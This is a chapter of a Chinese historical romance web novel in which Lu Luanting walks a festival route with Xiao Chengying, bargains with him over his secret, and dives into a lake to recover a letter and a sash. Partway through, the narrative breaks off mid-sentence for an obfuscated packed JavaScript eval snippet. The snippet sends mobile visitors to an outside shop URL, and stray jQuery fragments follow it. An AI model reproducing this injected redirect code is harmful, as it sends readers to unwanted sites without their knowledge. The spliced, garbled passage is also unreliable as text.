文趣网 > 其他小说 > 渣了前任三年后 > 11. 第11章
    世家子常会有家仆替其调制香囊,自初次见面开始,陆鸾庭就嗅见过他身上如薄荷般清凉的气息。

    眼下贴在一处,还有淡淡酒气。

    那阵裹挟着男子气息的薄荷味道与酒味萦绕在鼻尖,陆鸾庭不禁呼吸一窒。

    他生得很高挑,身形弓着往下压,几乎能包裹住她整个人,那只结实有力的臂膀单撑在身侧,隔着衣袍也能感受这幅身躯有多温暖。

    陆鸾庭俏脸一红,侧首躲开,“我说与萧指挥使不熟,又没说与萧承英不熟,你急什么?”

    今日进城办事,她本也想着在事后去寻他,适当地增进一下彼此间的关系,他会不会见自己倒是另说,总之先行动起来。如今看来......他挺在意?

    她真是巧言令色!

    萧承英铁了心要扳回局面,其实也不知为何要耍出如此幼稚的手段,但就是想叫她也尝尝吃瘪难言的滋味。

    巷内无人,静得落针可闻。女孩子适才一句反问听在耳朵里成了挑衅,萧承英面色似缓了缓,手却没松,以一种缠绵悱恻的语调在她耳畔低声道:

    “急或不急我自有分寸,反倒是你,在脸红什么?”

    萧承英看着她的神情。

    额上碎发略显凌乱,那双晶莹剔透的瞳仁浮过一丝惊异,唇微微张着。

    他没来由生出一股冲动——

    想照着这张说起话来故意扰乱他心扉的嘴狠狠啃咬下去。

    陆鸾庭猜出他是刻意装出这副模样,这下就看谁更豁得出脸了。将脸缓而慢地转回来,她注视进他黑漆漆的眼底,能听见自己轰闹的心跳,“青天白日,心悦之人与我亲密至此,难免胡思乱想,你说我在脸红什么?”

    萧承英一怔,飞快地放了手。

    他勉强沉住气,“你脑子里都在想些什么?”

    “明知故问。”陆鸾庭暗揉发烫的手心,拿一种称得上是温柔似水的目光看过去,“我说不熟,是因为奚大人问的是兵马司指挥使,有些话我不知道该不该说,怕给你惹来麻烦......我说同萧承英熟,是丢开了指挥使的身份。”

    真是好赖话都让她一个人说尽了。

    萧承英淡瞥她一眼,冷哼了一声,“又遇见什么办不了的事了?”

    “已经办妥了。”陆鸾庭抬头凝望那点微不可察的太阳,轻声道:“游神一事于我而言十分重要,一场游神能替城隍庙带来许多香客信徒,今日既进了城,我就没想早早回去,你若得空,能陪我提前走一走游神的路径么?”

    萧承英似听见什么笑话,侧头看着她,眉眼依旧算不上太温和,“你觉得我很闲?”

    陆鸾庭目露讶然,眼底狡黠一瞬即过,“你不闲的话,跟着我做什么?我不信你就这么巧地路过奚家。”

    萧承英一阵语窒,渐渐地,眼睑下泛着淡淡一抹红色。

    沉默几晌,他胡乱将她披散在背后的兜帽迎面盖上,状似不耐地道:“游神当日百姓众多,绝不能出什么骚乱,这是兵马司职责所在。”

    出了乌衣巷见到方鹄,陆鸾庭没过多说起她与萧承英那有些微妙的关系,只草草解释了两句。

    方鹄早已在元宝那张藏不住事的嘴巴里听过两嘴,新奇而振奋的目光在二人之间来回瞟,随即望天讪笑,“哈......哈哈哈,鸾姐,我想起出门时元银叫我带点东西给他,我先去买!”

    少年走后,陆鸾庭定定神,远远站在这条长街往东边看,旋即沉下心一步步往前走,为游神那日做准备。

    太常寺定下东南两条路线,届时城隍庙的游神队列要从最南边的聚宝门进,穿过江宁,绕过城内半条淮河,挨个走过通济门、玄津桥、太平门,最后抵达玄武湖畔。

    这条路漫长至极,每到一个街口就得下去走上长长一截路,萧承英默然驱车跟在她身后,看她背脊始终挺得很直,并未说话。

    路上与几个衙门的官吏碰了面,那些人一惯会讨好萧承英,见他不慌不忙跟在一位姑娘身后,隔老远就谄媚喊道:“萧大人这是有心上人了?”

    亏得城中在外行走的人们各有各的忙活,听见动静也不过是循声投去匆匆一眼,萧承英支着一条长腿,皂靴后半截踩在马车上,散漫一笑,说不出的倨傲,“去,都滚远点儿!再多咧咧几句,小心爷挨个儿揍过去。”

    他说这话时嗓门不算小,走在前面的陆鸾庭自是听见了,没忍住回头看了他一眼。

    噫,好个纨绔浪荡之相!

    她倒头一回见他这般模样。

    自打上次无意听见他的秘密,她就明白他绝非是表面这般,此刻听他自称“爷”,没忍住又是一声轻笑。

    装得还挺像那么回事儿。

    所幸只是需在每条街走上那么一阵,余下时候都在马车里,到了戌正之时,陆鸾庭便成功抵达玄武湖畔。

    提前走过一次,她心中有了底,此刻放松下来,四下张望一瞬,旋即向右后方一指,冲萧承英道:“你勘察完了么?我算是走明白了这条长路。方鸪说戌末时在聚宝门下等我,现下还早,要去那头的琵琶湖边坐坐吗?”

    萧承英适才一路过来,虽说装出副不羁风流之态,却并非真是那样的人,早早就将一切治安尽收眼底,听了她的提议,脱口想说大可不必,身子却往后一旋——

    “嗯……”

    玄武湖偌大一片,琵琶湖却小得有些秀气,绝大部份湖水在皇城墙内,只有小小几片连接在城墙之外。

    走到琵琶湖边,挑了块四四方方的石头坐下,陆鸾庭深深嗅了下清新气息,阖着眼笑,“小的时候,我最喜欢让阿爷带我来这儿,守卫比其他地方松,适合我撒欢。入了夏,我就赤着脚在湖边耍,到了冬日,我就叫阿爷带我在结了冰的湖面玩一种叫‘滚肉团’的游戏……你知道为何要取这个名字么?”

    她睁开眼睛,脸颊稍稍浮过一阵薄红,“我小时候吃得多,浑身上下哪哪儿都是肉,阿爷兜着我的胳膊和腿,将我在湖面上滚来滚去,觉得着实有趣,所以就这样叫了。”

    “头一年来的时候,我不慎掉进湖里,之后就有些怕离得太近而掉下去,也是阿爷教会了我凫水。”

    忆起儿时趣事与温馨时光,心肠总会跟着软下来,仿佛是一种人的本能与天性,或是因为这样的缘故,陆鸾庭说出口的话里带了十二分的真心。

    她偏头凝视着一旁站着的青年,弯了弯唇,“总之,我要与你说声谢谢,没有你出面,太常寺不会叫城隍庙参与这次游神,阿爷在的时候,最自豪的便是请出城隍爷去见百姓,我自知过去三年不懂得与人圆滑相处,让城隍庙失去了许多机会……多谢你,真的。”

    她不披着那张假皮囊,单就坐在这里畅谈过往之事,萧承英多少有些不自在,听她谈起多谢二字,愈发站不住脚了,懒散掀袍往她身侧的枯草地上坐,忽而问了个颇为直接的问题:

    “你养父姓冯,为何你姓陆?”

    陆鸾庭摇了摇头,“这个问题我也问过阿爷,阿爷只说当年爹爹想让我随他姓冯,我却好似开了智一般指着书籍上的陆字,阿爷说大约是天意如此,爹爹就默许了我姓陆。”

    萧承英挪眼盯着她柔和的侧脸,没有立刻接话。

    早在当初看上城隍庙那处地方之时,他就遣人调查过她,身世背景简直单薄得一目了然。

    正因如此,她在知道他秘密的那一瞬,他才近乎是下意识地想着——不过一介孤女,还不足以勾起自己的杀心。

    “你在想什么?”忽而,她问。

    萧承英迎着她的目光,坦然道:“在想你知道我的秘密,我该不该留下你的命。”

    说不害怕都是假话,陆鸾庭心头打颤,明白这件事是悬在自己头上的一把刀。

    她不是傻子,那日在梦园,他没对她做什么,不过是因自己走了极险的一步,利用爱慕之情暂时扭转了他的注意力而已。

    不过她向来能屈能伸,遂将这话当作极冷的笑话一听了之,托着双腮小声道:“其实皇帝换人做也好,光看如今浮躁的人心就知道,今上也许不懂得什么叫爱民。”

    她说话这般大胆,萧承英不由得挑起眉,多看了她一眼,“你又怎知换了皇帝就好了?”

    陆鸾庭眨眨眼,“难不成你要告诉我,今上不作为,有人费尽心思只是为了争当皇帝过一过瘾么?我不知道那日你口中的家里人是谁,但我知道你不是什么满腹坏水的男子,你的不羁只是伪装,能让你为之冒险卖命的那个人,自然也差不到哪里去。”

    言罢,她暗自瞅着他的脸色,壮着胆子坐去他身侧,笑盈盈将脸凑去他眼前。

    “你想好了吗?那场交易。你庇护城隍庙,它为你所用。”

    萧承英还陷在她那句“伪装”里,她的确聪慧,那日他与萧奕纶说得隐晦,他也自知自己伪装得很好,但这二者……她只是仅凭猜就猜准了。

    看着眼前这张放大的容颜,他心里莫名有种预感——她如今尚且稚嫩,可若给了她什么往上爬或是成长起来的机会,她未必抓不住。

    可当下他只是冷笑一声,揪着她的衣襟将她推开,同样的美人计,他不会上第二次当。

    “你觉得我是个好人?此处除了你我就再没旁人了,就不怕我将你的脑袋摁进湖里,直到你没了气息?”

    “你会吗?”

    “你怎知我不会。”

    两双眼睛互相映衬着彼此的身影,陆鸾庭心想还是不能如此僵持下去,继而自枯草地上起身,俯腰拍了拍裙摆上的草。

    可好死不死,平地起了一阵夜风,悠悠朝二人背后席卷而来。

    方才衣襟被攫得稍有松散,这一低头弯腰伸展手臂的间隙里,先前奚明给她的薄薄信纸从怀里跌出来,在地上翻了个面,随即被那阵风高高吹起,往琵琶湖面上飘!

    待陆鸾庭看清时已经晚了,她几乎是下意识将

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720353|208611||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    身子往前探,伸长胳膊抓了抓。

    眼见信越飘越远,顾不得去想太多,陆鸾庭霎时奋力往湖边追,满脑子里再没有什么东西比这象征着诚挚友情的信更重要。

    没有芳照,她今日断没有这般轻松。

    那信飘去湖边,在距离湖水堪堪几厘的地方停下来,陆鸾庭心头一松,长舒了一口气。

    可谁又知道老天爷不知犯了什么病,一阵妖风自身后强劲吹来,信纸腾空而起,再度翻了个面,温柔落在湖面上,随后毫不留情地顺着风向往前飘。

    “我的信——!”

    下一刻,陆鸾庭没有任何迟疑地一头扎进了湖水里。

    一切发生得太快,萧承英不是没发现她在追信,只是没有料到她竟会为了追信而在冬日跳进冰冷的湖中。

    他霍然起身,急忙往湖边赶,厉声道:“你疯了?不过一封信,你当真不要命了?!”

    信纸单薄,在湖面漂浮得极快,陆鸾庭拼尽全力才追赶上。

    与此同时,刺骨的寒意迟迟未涌上来,她这才后知后觉想起,早在先皇薨逝那年,其妃嫔要迁来金陵这座留都的皇城,今上兴许是为了让世人觉得自己仁善,将硫磺引进了皇城内那片琵琶湖的暗渠,改成温泉以供先帝的妃嫔们使用。

    大约是这个原因,城外的这片湖域也并不冷。

    好在信纸先前反复堆叠过,只是外层沾了些水,洇润了边缘一点墨。

    湖面飘着枯叶,陆鸾庭小心翼翼拿枯叶裹着信纸,旋即往最近的岸边游去。

    不多时,将信扔去岸上,她正准备上岸,忽觉腰间有些空荡荡的,少了些束缚感。

    想着方才跳入湖中时的奇怪感觉,陆鸾庭伸手往腰间一探,面色渐渐变得尴尬起来。

    那条绦带不知被什么东西勾了一下,她本就只是草草打了个活结,这下不知沉在湖底哪个地方。

    今日她穿的可是女子的衣裙。

    没了那条绦带,妖风又一阵阵地刮,她还如何全须全尾地上岸。

    那人还在岸上呢。

    想着湖水裹在身上的感觉并不算冷,甚至称得上一句暖和,陆鸾庭暗自胡骂两句,深吸一口气,整个人往湖底潜去。

    可萧承英哪里看得懂这小小变化,更难以弄懂她分明已经靠岸又为何一头扎了进去。

    这一来二去,青年眉头锁得很紧,不禁冒出个念头,疑心她是不是又想了花招。

    或许过去了很久,也可能才几息的功夫,萧承英紧了紧腰间的刀,往前大跨一步,试探地喊:

    “你在做什么?还不上来?”

    湖边幽寂,只见湖面圈圈涟漪,透出一股令人窒息惶然的安静。

    萧承英又往前迈了一步,皂靴踩上湿泞的土,“陆小庙!”

    依旧很是宁静。

    心跳振得发慌,萧承英对这种堵闷的感觉说不上来,双眼盯着湖面,薄唇轻翕:“你又在诓我……陆小庙……陆小庙……陆鸾庭!”

    下一瞬,他再也控制不住自己的手脚,扔了刀,奋力往湖中一跃,屏着呼吸潜进勉强可视物的湖底。

    几经搜寻,终于在左前方瞟见一抹亮色。

    “哗——”

    过去半晌,水花四溅,两道身影一前一后在湖面露了头,没有谁比谁夺目,全都狼狈得堪比一条滑溜溜的鱼。

    萧承英拽着女孩子往岸上游,待上了岸,才能勉强定下心神去看她。

    这一看,对上一双睁得大大的眼睛。

    萧承英气不打一处来,胡乱抹了一把脸上的水珠,低喝道:“你到底在耍什么花招!”

    以为她溺水了,谁想费劲拖她上岸,人竟是清醒的!

    陆鸾庭憋了许久的气,此刻大口喘息着,稍稍侧身避开他,扬着被朱红绦带缠绕的那只手,“它也掉进湖里了。”

    萧承英猛然一愣,怒意如退潮般散去,错愕地盯着那抹刺眼的红。

    就为了这条从他身上强抢过去的绦带?

    值得为了它冒生命危险?

    猎猎风声仿佛自遥远天际传来,一霎又变得极近,近到萧承英已经听不清她又说了什么,所有知觉都凝聚成了一把锥子,跟着那些风声往他身上钻,刺开冷硬的皮囊,往心底最软的地方砸。

    直到凿出一块能够塌陷而下的地方。

    理智像没了方向。

    上了岸,刺骨寒意席卷全身,萧承英狠狠一闭眼,抓起那封信,随即不管不顾伸手抄过女孩子的腿弯,捞起她那副轻飘飘的身子。

    “你当真是不要命了。”

    陆鸾庭惊呼一声,意外至极,僵硬卧在他的怀里,眼底露出一丝茫然。

    这人好难猜的心思。

    她捡她的绦带是为了衣着得体些……

    他跳下来的原因尚且能归结于是有那么点担心她。

    但莫名其妙消了气又忽然这样亲密地抱她是为了什么?